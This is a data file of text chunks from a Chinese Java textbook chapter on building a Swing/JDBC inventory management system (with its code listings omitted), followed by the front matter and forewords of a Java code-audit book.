    {"text": "（1）供应商信息表 供应商信息表的名称为tb_gysinfo，主要用于存储供应商详细信息，其结构如表27.9所示。 表27.9 tb_gysinfo供应商信息表 （2）商品信息表 商品信息表的名称为tb_spinfo，主要用于存储商品详细信息，其结构如表27.10所示。 表27.10 tb_spinfo商品信息表 （3）进货主表 进货主表的名称为tb_ruku_main，主要用于存储进货单据信息，其结构如表27.11所示。 表27.11 tb_ruku_main进货主表 （4）进货详细信息表 进货详细信息表的名称为tb_ruku_detail，主要用于存储进货详细信息，其结构如表27.12所示。 表27.12 tb_ruku_detail进货详细信息表 （5）销售主表 销售主表的名称为tb_sell_main，主要用于存储销售单据信息，其结构如表27.13所示。 表27.13 tb_sell_main销售主表 （6）销售详细信息表 销售详细信息表的名称为tb_sell_detail，主要用于存储销售详细信息，其结构如表27.14所示。 表27.14 tb_sell_detail销售详细信息表 说明 由于篇幅有限，这里只列举了重要的数据表的结构，其他的数据表结构可参见资源包中的数据库脚本文件。"},
    {"text": "27.5 创建项目 铭泰企业进销存管理系统是使用Eclipse开发的一个Java项目。 在Eclipse开发环境中创建“进销存管理系统”项目的具体步骤如下： （1）启动Eclipse，在Eclipse工作台中选择“文件”/“新建”/“Java项目”命令，如图27.10所示。"},
    {"text": "图27.11 “新建Java项目”对话框 27.6 系统文件夹组织结构 由于铭泰企业进销存管理系统是由团队进行开发的，所以在编写项目代码之前，需要制定好项目的系统文件夹组织结构，如不同的Java包存放不同的窗体、公共类、数据模型、工具类或者图片资源等，这样不但可以保证团队开发的一致性，也可以规范系统的整体架构。 创建完系统中可能用到的文件夹或Java包之后，在开发时，只需将所创建的类文件或资源文件保存到相应的文件夹中即可。 铭泰企业进销存管理系统的文件夹组织结构如图27.12所示。"},
    {"text": "27.7.1 Item公共类 Item公共类是对数据表最常用的id和name属性的封装，用于Swing列表、表格、下拉列表框等组件的赋值。 该类重写了toString()方法，在该方法中只输出name属性，所以Item类在Swing组件显示文本时只包含名称信息，不会连带着id属性。 但是，在获取组件的内容时，获取的是Item类的对象，从该对象中可以很容易地获取id属性，然后通过该属性到数据库中获取唯一的数据。 Item公共类的程序代码如下： 注意 代码中相应的getXXX()方法和setXXX()方法，是访问不同属性的方法，而相应的属性则被声明为private属性，这样就实现了属性的封装。"},
    {"text": "27.7.2 数据模型公共类 com.mingrisoft.dao.model包中存放的是数据模型公共类，它们对应着数据库中不同的数据表，这些模型将被访问数据库的Dao类和程序中各个模块甚至各个组件所使用。"},
    {"text": "和Item公共类的使用方法类似，数据模型也是对数据表中所有字段（属性）的封装，但是数据模型是纯粹的模型类，它不但需要重写父类的toString()方法，还要重写hashCode()方法和equals()方法（这两个方法分别用于生成模型对象的哈希代码和判断模型对象是否相同）。 模型类主要用于存储数据，并通过相应的getXXX()方法和setXXX()方法实现不同属性的访问原则。 商品数据表对应的模型类的关键代码如下： 其他模型类的定义与商品模型类的定义方法类似，其属性内容就是数据表中相应的字段。"},
    {"text": "com.mingrisoft.dao.model包中包含的数据模型类如表27.15所示。 表27.15 com.mingrisoft.dao.model包中的数据模型类 说明 表中所有模型类都定义了对应数据表字段的属性，并提供了访问相应属性的getXXX()方法和setXXX()方法。"},
    {"text": "本项目中应用该名称作为数据库访问类的名称，在该类中实现了数据库的驱动、连接、关闭和多个操作数据库的方法，这些方法包括不同数据表的操作方法。 在介绍具体的数据库访问方法之前，先来看一下Dao类的定义，也就是数据库驱动和连接的代码。"},
    {"text": "关键代码如下： Dao类中的所有数据库操作方法都使用static关键字定义为静态方法，所以Dao类不需要创建对象，可以直接调用类中的所有数据库操作方法。"},
    {"text": "1. getKhInfo(Item item)方法 该方法用于获取客户信息，方法的返回值是TbKhinfo类的对象，即客户信息的数据模型。 方法将接收一个Item类的实例对象，通过该对象获取客户的ID编号，然后从数据库中获取该ID编号的数据信息，并封装到客户信息的数据模型中，这个数据模型最后会作为方法的返回值，返回给方法的调用者。"},
    {"text": "2. getGysInfo(Item item)方法 该方法用于获取供应商信息，方法的返回值是TbGysinfo类的对象，即供应商数据表的模型对象。 方法将接收Item类的对象作为参数，从item对象中获取供应商的编号和名称，然后从数据库中获取该编号的供应商信息并封装到供应商数据模型对象中，最后将该模型对象作为方法的返回值返回给方法的调用者。 该方法的关键代码如下： 3. getSpInfo(Item item)方法 该方法用于获取商品信息，方法的返回值是TbSpinfo类的对象，即商品数据表的模型对象。"},
    {"text": "该方法的关键代码如下： 4. getLogin(String name, String password)方法 该方法用于判断登录用户的用户名与密码是否正确，方法的返回值是boolean类型，接收的参数有name和password，分别是用户名与密码信息。"},
    {"text": "5. insertSellInfo(TbSellMain sellMain)方法 该方法用于添加销售信息到数据库中，它将在事务中完成对销售主表、销售明细表和库存表的添加与保存操作。"},
    {"text": "在JDBC中使用事务的关键是调用Connection类的setAutoCommit()方法设置自动提交模式为false，完成业务之后，再调用commit()方法手动提交事务。 关键代码如下： 注意 在开始JDBC事务之前最好使用getAutoCommit()方法获取原有的事务提交模式并保存，在执行commit()方法提交事务之后，要使用setAutoCommit()方法恢复原有的提交模式。"},
    {"text": "Dao类中还有关于进货、进货退货和销售退货业务的insertXXX()方法，其实现方法和该方法类似，这里不再介绍，相信读者能够举一反三，理解其他方法的业务逻辑。"},
    {"text": "6. backup()方法 该方法用于执行数据库的备份操作，这里主要通过读取MySQL数据库中的表信息和表数据，自动生成可执行的sql脚本（每行均为一个独立sql语句）。 关键代码如下： 7. restore(String filePath)方法 该方法用于执行数据库的恢复操作，这里主要是通过逐行执行备份文件中的sql语句实现的。"},
    {"text": "关键代码如下： 8. checkLogin(String userStr, String passStr)方法 该方法用于判断登录用户的用户名与密码是否正确，方法的返回值是boolean类型，接收的参数有userStr和passStr，分别是用户名与密码信息。"},
    {"text": "该模块的设计与实现方法比较普遍，非常适合该项目的起步设计工作，读者可以从最简单的自由布局开始，逐渐了解项目开发所需要的各种高级布局管理器和高级组件应用。"},
    {"text": "系统登录是项目必须开发的模块，它是系统的安全门，只有提供正确的用户名和登录口令之后，用户才能够进入铭泰企业进销存管理系统进行进销存管理操作。"},
    {"text": "1. 创建内容面板 所有组件都要布置在窗体的内容面板上，而登录模块的内容面板使用了背景图片来美化窗体界面，这就需要继承Swing的JPanel类编写自己的面板类，然后将该面板类作为窗体的内容面板。 程序代码如下： 2. 创建登录窗体 创建LoginDialog类，该类继承JFrame类，成为一个窗体。 设置窗体的标题为“系统登录”，设置内容面板为LoginPanel类的对象。 该窗体用于布置各种组件，来实现系统登录的界面。"},
    {"text": "表27.16 登录窗体用到的主要控件 27.8.2 “密码”文本框的回车事件 在系统登录窗体的“密码”文本框中添加了按键事件监听器，它在获取到“密码”文本框输入回车字符时将执行登录事件，也就是说在“密码”文本框输入密码后，按Enter键将执行与单击“登录”按钮是相同的业务逻辑。 “密码”文本框程序代码如下： 27.8.3 “登录”按钮的事件处理 “登录”按钮用于执行用户名和密码的验证工作，如果验证用户名和密码有效，则启动系统，否则禁止进入系统。 在“登录”按钮的动作事件监听器中，首先获取用户输入的用户名与密码信息，然后调用Dao类的checkLogin()方法，如果该方法返回true，则登录成功，否则禁止用户登录，并提示输入的用户名与密码无法登录系统。 程序关键代码如下： 说明 checkLogin()方法是在28.7节公共类中所讲的Dao方法，用于验证登录的用户名与密码是否有效。"},
    {"text": "27.9 系统主窗体设计 主窗体是人机交互的主体，用户通过主窗体中提供的各种菜单、表格、文本框、子窗体等组件进行管理操作。 本系统主界面采用的是MID（即“多文档界面”），类似于Word应用程序，可以同时打开多个子窗体进行操作，还可以对打开的功能窗体进行各种操作，如窗口平铺、全部还原、全部关闭，并在菜单中列出当前打开子窗体的名称，如图27.14所示。"},
    {"text": "图27.14 企业进销存管理系统主窗体 27.9.1 设计菜单栏 本系统的菜单栏是由MenuBar类实现的，该类是一个自定义菜单栏类，它继承JMenuBar类成为Swing的菜单栏组件。"},
    {"text": "关键代码如下： （3）编写一个初始化菜单栏界面的方法initialize()，在该方法中，首先设置组件的尺寸，然后调用JMenuBar对象的add()方法向菜单栏中添加一个菜单。 关键代码如下： （4）编写以下构造方法，用于调用初始化菜单栏界面。"},
    {"text": "图27.15 “进货管理”菜单 （5）为MenuBar类再创建一个JMenuItem类型的成员变量jinhuoItem，表示进货菜单项。 关键代码如下： private JMenuItem jinhuoItem = null; （6）编写一个名称为getJinhuoItem()的方法，该方法的返回值为一个JMenuItem对象，也就是一个菜单项对象。 在该方法中，当进货单菜单项对象为null时，创建一个菜单项对象，并为其设置菜单项名、图标和动作事件监听器。"},
    {"text": "关键代码如下： 至此，就完成了“进货管理”菜单的创建，最后的运行效果如图27.16所示。 图27.16 创建完成的“进货管理”菜单 27.9.2 设计工具栏 工具栏用于放置常用命令按钮，如进货单、销售单、库存盘点等。"},
    {"text": "关键代码如下： 另外还定义了createToolButton()方法来创建工具栏按钮，该方法实现了高度的代码重用，只要将相应的菜单项作为参数传递给这个方法就可以自动创建新的工具栏按钮。"},
    {"text": "关键代码如下： 27.9.3 设计状态栏 本系统的状态栏显示了当前选择的功能窗体、登录用户名、当前日期和本系统所属公司，即版权所有者等信息，如图27.18所示。"},
    {"text": "表27.17 状态栏相关组件说明 主窗体中的getStateLabel()方法用于初始化当前窗体状态标签stateLabel，如果该标签已经初始化将直接返回标签组件的对象。"},
    {"text": "关键代码如下： 27.10 进货单模块设计 本模块使用的数据表：tb_ruku_main、tb_ruku_detail、tb_kucun、tb_gysinfo、tb_spinfo、tb_jsr 进货单模块负责添加企业的进货信息，它根据进货人员提供的单据，将采购商品的名称、编号、产地、规格、单价和数量等信息记录到数据库的库存表中。"},
    {"text": "表格的第一列，也就是“商品名称”字段，是下拉列表框组件，其内容根据“供应商”下拉列表框而定，可以通过该组件选择商品名称，其他表格字段（商品信息）会自动添加。"},
    {"text": "27.10.1 设计进货单窗体 在Eclipse中选择“文件”/“新建”/“其他”命令，在弹出的“新建”对话框中选择WindowBuilder/Swing Designer节点，创建 内部窗体类，命名为JinHuoDan_IFrame。"},
    {"text": "该窗体中所用到的关键组件如表27.18所示。 表27.18 进货单窗体用到的关键组件 说明 创建内部窗体类，可参照27.9.1节的内容或浏览本节相关视频文件。"},
    {"text": "27.10.2 添加进货商品 在进货单窗体单击“添加”按钮，会在表格中添加一个空行，可以在该空行的第一个字段选择商品名称，其他的字段信息会根据选择的商品自动填充。"},
    {"text": "关键代码如下： 添加空行后，还需要调用initSpBox()方法初始化商品下拉框。 在该方法中，首先获取指定供应商提供的商品信息，并清空商品下拉框，然后添加一个空的列表项，再通过for循环将表格中已经添加的商品ID保存到List集合中，最后将没有添加到表格中的商品添加到商品下拉框中。"},
    {"text": "initSpBox()方法的具体代码如下： 27.10.3 进货统计 在bottomPanel面板中布置了多个文本框，用于统计品种数量、货品总数、合计金额等商品信息。"},
    {"text": "为表格添加事件监听器的关键代码如下： 当table表格发生属性改变事件时，事件监听器首先会检测发生的事件类型，也就是判断发生了哪种更改属性的事件，如果事件类型是tableCellEditor，则说明属于表格编辑事件，这时应该针对表格的修改事件去调用ComputeInfo()方法执行商品进货的统计业务并将结果显示在相应的组件上。"},
    {"text": "getRukuButton()方法是“入库”按钮的初始化方法，该方法将判断“入库”按钮对象是否初始化，如果已经初始化就直接将按钮对象返回给方法的调用者，否则先对按钮进行初始化，然后返回该按钮对象。"},
    {"text": "初始化“入库”按钮的过程中为按钮添加了动作事件监听器，在该事件监听器中将首先调用stopTableCellEditing()方法停止正在编辑的表格单元，然后获取进货单的品种数量、结算方式、合计金额、经手人、操作员、进货票号、验收结论等信息，并对关键信息进行判断，防止用户忘记填写这些关键信息。"},
    {"text": "最后，创建进货主表的模型对象、进货详细表的模型对象和库存表的模型对象，使用进货单窗体中的信息初始化这些模型对象，并把它们通过Dao公共类的insertRukuInfo()方法保存到数据库中。"},
    {"text": "程序关键代码如下： 说明 addActionListener()方法的参数使用了匿名类实现动作监听器接口，这是Swing的事件处理最常用的方式，读者应该熟练掌握。"},
    {"text": "27.11 销售单模块设计 本模块使用的数据表：tb_sell_main、tb_sell_detail、tb_kucun、tb_khinfo、tb_spinfo、tb_jsr 商品销售是进销存管理中的重要环节之一，进货商品在入库之后就可以开始销售了。 销售单模块主要负责根据经手人提供的销售单据，操作进销存管理系统的库存商品和记录销售信息，方便以后查询和统计。"},
    {"text": "销售单窗体的运行效果如图27.20所示。 图27.20 销售单窗体界面 27.11.1 设计销售单窗体 创建 内部窗体类，命名为XiaoShouDan。 该窗体主要用于处理商品销售的业务逻辑，它所用到的关键组件如表27.19所示。 表27.19 进货单窗体用到的关键组件 27.11.2 添加销售商品 在销售单窗体中单击“添加”按钮，将向table表格中添加新的空行，操作员可以在空行的第一列字段的商品下拉列表框中选择销售的商品，该下拉列表框和进货单窗体的不同，它不是根据供应商字段确定选择框内容，而是包含了数据库中所有可以销售的商品。"},
    {"text": "27.11.3 销售统计 与进货单的统计功能类似，销售单也需要统计功能，统计的内容包括货品数量、品种数量、合计金额等信息，实现方式也是通过table表格的事件监听器来处理相应的统计业务，但是销售单窗体使用的不是PropertyChangeListener属性改变事件监听器，而是ContainerListener容器监听器。 关键代码如下： computeInfo类是销售单窗体的内部类，该类实现ContainerListener接口成为容器监听器，该监听器将table表格视为容器，当表格添加新行和删除行时，将触发ContainerEvent容器事件，监听器将对该事件进行相应的业务处理，完成本次销售信息的统计。"},
    {"text": "这些业务处理都是在“销售”按钮的动作监听器中完成的，该监听器需要获取销售单窗体中的所有销售信息和商品信息，将所有商品信息封装为销售明细表的模型对象，并将这些模型对象放到一个集合中，然后调用Dao公共类的insertSellInfo()方法将该集合与销售主表的模型对象保存到数据库中。"},
    {"text": "程序关键代码如下： 27.12 库存盘点模块设计 本模块使用的数据表：tb_kucun、tb_spinfo 库存盘点模块主要负责计算库存管理人员的商品盘点数量和库存数量的损益。 程序界面将提示当前日期和库存商品的品种数量，并在表格中显示所有库存商品，在表格的“盘点数量”一列中输入相应商品的盘点数量，“损益数量”字段会自动计算该商品的剩余商品数量，如果该数量为正数，则说明库存数量多于盘点数量，如图27.21所示。"},
    {"text": "表27.20 进货单窗体用到的关键组件 27.12.2 读取库存商品 本模块窗体的商品表格table组件用于显示库存中的所有商品信息，这需要在initTable()方法中初始化表格字段名，并调用Dao类的getKucunInfos()方法读取库存数据中的所有商品列表，添加到table商品表格组件中。"},
    {"text": "关键代码如下： 27.12.3 统计损益数量 商品表格组件需要在用户输入盘点数量时，自动计算并更新损益单元格的内容，也就是用库存商品实际数量减去用户输入的盘点数量。 实现自动计算功能最好的方式，就是为表格组件的“盘点数量”编辑器的编辑组件添加按键监听器，使用该按键监听器可以限制用户只能输入数字信息，同时还可以在按键事件发生时进行损益统计。"},
    {"text": "铭泰企业进销存管理系统的数据库备份与恢复模块的窗体界面如图27.22所示。 图27.22 “数据库备份与恢复”窗体 27.13.1 设计窗体 创建 内部窗体类，命名为BackupAndRestore。 该窗体主要用于备份和恢复系统的数据库文件，它所用到的关键组件如表27.21所示。 表27.21 数据库备份与恢复窗体用到的关键组件 27.13.2 文件浏览 数据库的恢复功能需要使用“浏览”按钮选择数据库文件的位置，在该按钮的ActionListener动作监听器中通过JFileChooser文件选择器组件打开文件选择对话框，选择数据库恢复文件的位置。 程序的关键代码如下： 27.13.3 备份数据库 单击“备份”按钮，将系统当前数据库内容备份到文件中，备份文件的名称以当前时间命名，并默认保存在当前项目文件夹下的backup文件夹中。 “备份”按钮的动作监听器将通过Dao类的backup()方法执行数据库的备份操作，如果在此期间程序抛出异常，将以对话框的方式提示用户错误信息，否则提示“备份成功”。 初始化“备份”按钮的关键代码如下： 27.13.4 恢复数据库 由于不可避免的原因导致系统程序无法运行，或者数据库系统损坏，可以在另一台计算机上安装铭泰企业进销存管理系统和数据库系统，然后在本模块的数据库恢复功能界面，通过“浏览”按钮选择备份在硬盘或其他移动设备上的数据库备份文件，并单击“恢复”按钮，就可以使程序恢复正常。 “恢复”按钮的动作事件监听器将调用Dao类的restore()方法执行数据库的恢复操作，如果在此期间程序抛出异常，将以对话框的方式提示用户错误信息，否则提示“恢复成功”。"},
    {"text": "一个普通的Java程序不需要进行配置即可直接在Eclipse的“包资源管理器”视图中展开src文件夹下的com.mingrisoft包，在该包中的MainFrame.java类文件上右击，在弹出的快捷菜单中选择“运行方式”/“Java应用程序”命令，将启动系统并显示登录窗体，如图27.23所示。"},
    {"text": "图27.23 选择命令启动系统并显示登录窗体 由于本系统包含一个闪屏界面，在运行主类时需要设置闪屏参数，所以暂时关闭登录窗体，不登录系统。"},
    {"text": "选择MainFrame节点，选择“自变量”选项卡，在该选项卡的“VM自变量”栏的文本框中输入“-splash:splash.jpg”，单击“应用”按钮，再单击“运行”按钮启动系统。"},
    {"text": "图27.24 “运行 配置”对话框 注意 需要确定splash.jpg图片文件与src源文件夹处于同级的位置，否则无法出现闪屏界面。 程序启动后的闪屏界面和登录界面如图27.25和图27.26所示。 图27.25 闪屏界面 图27.26 登录窗体 在登录窗体中输入用户名和密码并单击“登录”按钮，将启动铭泰企业进销存管理系统的主窗体，如图27.27所示。 图27.27 铭泰企业进销存管理系统的主窗体界面 27.15 开发常见问题与解决 27.15.1 无法打开内部窗体 问题描述：继承JInternalFrame类编写内部窗体之后，在菜单栏中执行该窗体的创建，但是窗体没有显示在程序界面中。"},
    {"text": "关键代码如下： 27.15.2 “关于”界面被其他窗体覆盖 问题描述：本系统的“帮助”/“关于”命令，将使用标签组件显示关于本系统的相关信息，但是再打开其他窗体或已经有打开的窗体时，会覆盖“关于”界面。"},
    {"text": "解决方法：由于内部窗体在JDesktopPanel桌面面板中分层存放，如果将其他组件添加到该面板中，也同样会分层存放，不同的层决定了窗体的覆盖级别。 要想使内部窗体或其他组件显示在最顶层，需要调用桌面面板的setLayer()方法设置组件的层次。"},
    {"text": "关键代码如下： 27.15.3 程序运行后没有出现闪屏界面 问题描述：程序打包成JAR文件，在运行时直接显示了登录窗口，而没有显示闪屏界面。"},
    {"text": "关键代码如下： SplashScreen-Image: res/splash.jpg 说明 SplashScreen-Image属性的“:”符号后面有一个空格字符，这个字符必须输入，否则无法识别闪屏文件的位置和名称。"},
    {"text": "Contents 目录 如何使用Java开发资源库 前言 “开发资源库”目录 第1篇 基础知识 第1章 初识Java 1.1 Java简介 1.2 Java语言的特性 1.3 搭建Java环境 1.4 小结 第2章 熟悉Eclipse开发工具 2.1 熟悉Eclipse 2.2 使用Eclipse 2.3 程序调试 2.4 小结 2.5 实践与练习 第3章 Java语言基础 3.1 Java主类结构 3.2 基本数据类型 3.3 变量与常量 3.4 运算符 3.5 数据类型转换 3.6 代码注释与编码规范 3.7 小结 3.8 实践与练习 第4章 流程控制 4.1 复合语句 4.2 条件语句 4.3 循环语句 4.4 循环控制 4.5 小结 4.6 实践与练习 第5章 字符串 5.1 String类 5.2 连接字符串 5.3 获取字符串信息 5.4 字符串操作 5.5 格式化字符串 5.6 使用正则表达式 5.7 字符串生成器 5.8 小结 5.9 实践与练习 第6章 数组 6.1 数组概述 6.2 一维数组的创建及使用 6.3 二维数组的创建及使用 6.4 数组的基本操作 6.5 数组排序算法 6.6 小结 6.7 实践与练习 第7章 类和对象 7.1 面向对象概述 7.2 类 7.3 类的构造方法 7.4 静态变量、常量和方法 7.5 类的主方法 7.6 对象 7.7 小结 7.8 实践与练习 第8章 包装类 8.1 Integer 8.2 Boolean 8.3 Byte 8.4 Character 8.5 Double 8.6 Number 8.7 小结 8.8 实践与练习 第9章 数字处理类 9.1 数字格式化 9.2 数学运算 9.3 随机数 9.4 大数字运算 9.5 小结 9.6 实践与练习 第2篇 核心技术 第10章 接口、继承与多态 10.1 类的继承 10.2 Object类 10.3 对象类型的转换 10.4 使用instanceof操作符判断对象类型 10.5 方法的重载 10.6 多态 10.7 抽象类与接口 10.8 小结 10.9 实践与练习 第11章 类的高级特性 11.1 Java类包 11.2 final变量 11.3 final方法 11.4 final类 11.5 内部类 11.6 小结 11.7 实践与练习 第12章 异常处理 12.1 异常概述 12.2 处理程序异常错误 12.3 Java常见异常 12.4 自定义异常 12.5 在方法中抛出异常 12.6 运行时异常 12.7 异常的使用原则 12.8 小结 12.9 实践与练习 第13章 Swing程序设计 13.1 Swing概述 13.2 常用窗体 13.3 标签组件与图标 13.4 常用布局管理器 13.5 常用面板 13.6 按钮组件 13.7 列表组件 13.8 文本组件 13.9 常用事件监听器 13.10 小结 13.11 实践与练习 第14章 集合类 14.1 集合类概述 14.2 Collection接口 14.3 List集合 14.4 Set集合 14.5 Map集合 14.6 小结 14.7 实践与练习 第15章 I/O（输入／输出） 15.1 流概述 15.2 输入／输出流 15.3 File类 15.4 文件输入／输出流 15.5 带缓存的输入／输出流 15.6 数据输入／输出流 15.7 ZIP压缩输入／输出流 15.8 小结 15.9 实践与练习 第16章 反射 16.1 Class类与Java反射 16.2 使用Annotation功能 16.3 小结 16.4 实践与练习 第17章 枚举类型与泛型 17.1 枚举类型 17.2 泛型 17.3 小结 17.4 实践与练习 第18章 多线程 18.1 线程简介 18.2 实现线程的两种方式 18.3 线程的生命周期 18.4 操作线程的方法 18.5 线程的优先级 18.6 线程同步 18.7 小结 18.8 实践与练习 第19章 网络通信 19.1 网络程序设计基础 19.2 TCP程序设计基础 19.3 UDP程序设计基础 19.4 小结 19.5 实践与练习 第20章 数据库操作 20.1 数据库基础知识 20.2 JDBC概述 20.3 JDBC中常用的类和接口 20.4 数据库操作 20.5 小结 20.6 实践与练习 第3篇 高级应用 第21章 Swing表格组件 21.1 利用JTable类直接创建表格 21.2 表格模型与表格 21.3 提供行标题栏的表格 21.4 小结 21.5 实践与练习 第22章 Swing树组件 22.1 简单的树 22.2 处理选中节点事件 22.3 遍历树节点 22.4 定制树 22.5 维护树模型 22.6 处理展开节点事件 22.7 小结 22.8 实践与练习 第23章 Swing其他高级组件 23.1 高级组件面板 23.2 菜单 23.3 工具栏 23.4 文件选择器 23.5 进度条 23.6 系统托盘 23.7 桌面集成控件 23.8 小结 23.9 实践与练习 第24章 高级事件处理 24.1 键盘事件 24.2 鼠标事件 24.3 窗体事件 24.4 选项事件 24.5 表格模型事件 24.6 小结 24.7 实践与练习 第25章 AWT绘图 25.1 Java绘图 25.2 绘制图形 25.3 绘图颜色与画笔属性 25.4 绘制文本 25.5 绘制图片 25.6 图像处理 25.7 小结 25.8 实践与练习 第4篇 项目实战 第26章 奔跑吧小恐龙 26.1 开发背景 26.2 系统结构设计 26.3 项目目录结构预览 26.4 游戏模型设计 26.5 音效模块设计 26.6 计分器模块设计 26.7 视图模块设计 26.8 游戏核心功能设计 26.9 小结 第27章 企业进销存管理系统 27.1 系统分析 27.2 系统设计 27.3 开发环境 27.4 数据库与数据表设计 27.5 创建项目 27.6 系统文件夹组织结构 27.7 公共类设计 27.8 系统登录模块设计 27.9 系统主窗体设计 27.10 进货单模块设计 27.11 销售单模块设计 27.12 库存盘点模块设计 27.13 数据库备份与恢复模块设计 27.14 运行项目 27.15 开发常见问题与解决 27.16 小结"},
    {"text": "Unknown 56554-Java代码审计（入门篇）-改邮箱.indd 1-5 2021/7/6 11:05:03 56554-Java代码审计（入门篇）-改邮箱.indd 4 2021/7/5 9:35:49 内 容 提 要 本书由浅入深、全面、系统地介绍了 Java 代码审计的流程、Java Web 漏洞产生的原理以及实战讲 解，并力求语言通俗易懂、举例简单明了，便于读者阅读领会。"},
    {"text": " 主 编 徐 焱 著 陈俊杰 李柯俊 章 宇 蔡国宝 责任编辑 陈聪聪 责任印制 王 郁 焦志炜  人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 https://www.ptpress.com.cn 三河市君旺印务有限公司印刷  开本：8001000 1/16 印张：30.5 字数：556 千字 2021 年 8 月第 1 版 印数：1 – 2 500 册 2021 年 8 月河北第 1 次印刷 定价：129.90 元 读者服务热线：( 010 ) 81055410 印装质量热线：( 010 ) 81055316 反盗版热线：( 010 ) 81055315 广告经营许可证：京东市监广登字 20170147 号 本书对 Java 代码研发人员的意义 在编写本书的时候，我们将研发部门视为一类重要的读者群体。"},
    {"text": "然而， 研发部门未知的“代码安全技术盲区”常常和攻击者已知的“攻击利用方式”有着 高度重合，这使许多 Web 应用曾经失陷，或者正面临着极大的安全风险。"},
    {"text": "例如，对于 XXE 漏洞的防御，若开发人员可在 不影响系统业务的前提下做“禁止引用外部实体”的设置，即可起到“一夫当关， 万夫莫开”的效用，也无须另外部署 WAF；"},
    {"text": "“谋定而后动，知止而有得”，我们发现在不少 Java 开发人员身上有这样的痛点： “虽初具 Web 应用开发的安全意识，却仍存在‘面积较大的技术盲区’，并且暂未建 立起代码审计与安全开发的知识、技术框架。"},
    {"text": "”对于此，希望这本系统地介绍 Java 代 码安全审计入门技术的图书可以帮助开发人员缓解这一痛点。 希望本书的核心章节 2 本书对 Java 代码研发人员的意义 可以帮助开发人员了解安全人员做 Web 漏洞挖掘时在想什么，并思考、绘制属于自 己的 Java 安全知识、技能结构图，能知己知彼，百战不殆。 本书可以作为 Java 开发 人员的代码审计入门宝典与安全开发实战指南。 读者可以借此书夯实 Java 安全基本 功，在面对不断演化的技术栈时也能以不变应万变。"},
    {"text": "本书结构划分合理，逻辑缜密，案例丰富，讲解细致，讲练结合，从而 能帮助零基础的读者快速入门，即便是基础较好的读者也能对照此书进行查缺补漏。"},
    {"text": "“九层之台，起于累土”，一名合格的安全人需不断地汲取网络安全领域里前沿且 全面的安全技术和技术知识，并且脚踏实地、稳扎稳打地提升自身综合的安全能力。"},
    {"text": "愿这本载满诚意、安全新视角的图书能给予读者朋友帮助，也欢迎更多志同道合的安 全人能借此书打开一扇“安全之门”，与安全狗一起守护数字世界，助力网络强国！"},
    {"text": "陈奋 国内知名网络安全专家 厦门服云信息科技有限公司（安全狗）CEO 安全狗品牌创始人 开创国内（云）主机网络安全新市场 推荐序 2 随着信息化技术的飞速发展以及互联网的应用普及，网络安全问题已经成为了 重中之重。"},
    {"text": "2018 年 4 月，全国网络安全和信息化工作会议上指出“没有网络安全就 没有国家安全”！ 国家对信息安全行业的高度重视和一系列相关法律法规的出台，标 志着信息安全已经上升到与政治安全、经济安全、领土安全等并驾齐驱的战略高度。"},
    {"text": "特别是随着 Java 逐渐成为核心开发语言，在国内外大量主流大型应用 均采用 Java Web 的背景下，无论是“攻”还是“防”方面，Java 代码审计都是安全 从业者所必须掌握的技能之一。 而目前国内市场 Java 代码安全审计方面的相关技术 图书很少见，即使对于其他开发语言，此类题材的图书也是凤毛麟角，该书的出版 填补了国内对于“Java 代码安全审计领域”图书的空白。 通读全书，本书不仅适合想迈入 Java 代码审计大门的安全爱好者，也可作为大 专院校信息安全专业的配套书目，同时也非常适合作为从事网络安全渗透测试人员、 企业信息安全防护人员、研发、运维、测试、架构等技术团队进行学习的参考图书。 最后，希望本书能够成为广大读者在 Java 代码审计与安全研究和应用中的良师 益友，成为在事业发展道路中的一盏明灯。 北京交通大学教授，博士生导师 信息安全系主任 王伟 2020.12.24 推荐序 3 代码审计，从根本意义上来说就是挖掘源程序中存在的代码安全问题，我们团 队中还有一部分人也做着一个相似的工作—漏洞 fuzzing 技术。 但代码审计与漏洞 fuzzing 技术又有很大的不同，当前的漏洞 fuzzing 技术依旧存在着很多困难，对于 逻辑漏洞、配置漏洞等识别较为困难，另外和人工挖掘相比，漏洞 fuzzing 还存在花 费时间长，效率较低等问题，这也正是代码审计的优势所在。"},
    {"text": "通过这些年的学术研究和网络空间安全从业者水平调研，我能够清晰地感觉到， 伴随着国内网络空间安全技术的发展，最初的一些只会使用黑客工具的“脚本小子” 逐渐被能够进行代码分析、编写脚本的专业安全人员所代替。"},
    {"text": "代码审计是一门技术活，而对于 Java 代码审计来说，又因为 Java 语言的多样性， 导致 Java 审计技术难度更大，在市面上也很少能够看到系统性的 Java 代码审计的 教程。 对于想要迈入 Java 代码审计的人来说，这本书是一份很好的教材，本书对 Java 代码审计中的各个漏洞点进行了详细剖析，对 Java 代码审计的关键知识点进行了总 结，并且通过实战的方式告诉你，Java 代码审计应该是什么样的流程。 攻与防犹如盾与矛，盾刚则矛折，矛硬则盾破，对于攻击方来说，这本书能够 让你学到 Java 代码审计的原理知识、审计流程以及审计技巧，可以给你的“矛”增 加硬度； 对于防守方来说，这本书可以让你学到 Java Web 漏洞产生的原因、攻击方 角度审视代码安全以及各类漏洞的修复方式，可以给你的“盾”增加刚性。 2 推荐序 3 雏凤清于老凤声，希望年轻的读者能够通过这本年轻人写的书对于代码审计知 其然，并知其所以然，擅于发散自己的思维，深刻去了解什么是“安全”，也希望本 书的读者为中国网络空间安全贡献一份力！ 丁勇 教育部网络空间安全教学指导委员会委员 广西高层次人才 E 层次人才 民盟中央青年委员会委员 鹏城实验室兼职教授 科技部重点研发会评专家 PPNA 期刊副主编 环球时报大数据中心特聘专家 推荐序 4 在听到这本书的时候，我想网络安全领域内又一块空白即将被填补了。"},
    {"text": "我想起自己初学代码审计的时候，每天都要翻阅晦涩难懂的官方文档和搜索引 擎中成千上万的转发文章，有时候为了一些文档里没有介绍过的技术细节只能翻阅 底层源码。"},
    {"text": "对于初学者来说这个过程异常艰难，在解决一个问题的时候经常会遇上 更多新的问题，在被问题牵着鼻子走了很久之后，甚至忘记自己最初究竟被什么困扰。"},
    {"text": "造成这个困境的原因是，那时候网络安全领域还没有现在这样细分，少数的一 些图书通常是各种漏洞与入侵方法的介绍，而很少有深入研究某个领域技术细节和 原理的内容。"},
